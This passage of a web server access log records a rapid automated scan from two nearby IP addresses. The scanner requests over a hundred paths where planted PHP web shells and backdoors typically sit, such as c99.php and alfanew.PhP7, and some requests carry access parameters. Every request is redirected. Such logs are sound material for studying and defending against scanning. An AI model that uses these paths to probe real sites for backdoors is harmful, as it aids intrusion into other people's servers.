OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:32 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:33 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:23:33 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:33 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:33 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:34 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:34 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:23:34 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:34 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:35 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:35 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:35 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:36 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:37 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:37 -0400] "GET /mah/function.php 